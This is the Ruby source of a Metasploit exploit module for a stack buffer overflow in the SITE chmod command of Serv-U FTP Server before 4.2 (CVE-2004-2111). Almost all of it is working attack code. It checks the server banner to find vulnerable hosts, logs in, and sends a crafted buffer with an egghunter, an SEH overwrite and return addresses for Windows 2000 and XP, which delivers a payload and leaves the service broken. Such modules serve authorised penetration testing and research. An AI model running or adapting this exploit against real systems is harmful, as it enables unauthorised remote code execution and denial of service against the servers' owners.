cgranleese-r7
104 lines
2.6 KiB
Ruby
104 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Egghunter
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Serv-U FTP Server Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the site chmod command
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in versions of Serv-U FTP Server prior to 4.2.
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You must have valid credentials to trigger this vulnerability. Exploitation
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also leaves the service in a non-functional state.
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},
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'Author' => 'theLightCosine',
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2004-2111'],
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[ 'OSVDB', '3713'],
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[ 'BID', '9483'],
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],
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'Privileged' => true,
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'DefaultOptions' => {
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'EXITFUNC' => 'thread',
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},
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'Payload' => {
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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'DisableNops' => true,
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},
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'Platform' => 'win',
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'Targets' => [
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[
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'Windows 2000 SP0-4 EN', {
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'Ret' => 0x750212bc, # WS2HELP.DLL
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'Offset' => 396
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}
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],
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[
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'Windows XP SP0-1 EN', {
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'Ret' => 0x71aa388f, # WS2HELP.DLL
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'Offset' => 394
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}
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]
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],
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'DisclosureDate' => '2004-12-31',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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end
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def check
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connect
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disconnect
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if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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c = connect_login
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return if not c
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eggoptions =
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{
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:checksum => true,
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:eggtag => "W00T"
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}
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hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
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buffer = "chmod 777 "
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buffer << make_nops(target['Offset'] - egg.length - hunter.length)
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buffer << egg
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buffer << hunter
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buffer << "\xeb\xc9\x41\x41" # nseh, jump back to egghunter
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buffer << [target.ret].pack('V') # seh
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buffer << rand_text(5000)
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print_status("Trying target #{target.name}...")
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send_cmd(['SITE', buffer], false)
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handler
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disconnect
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end
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end
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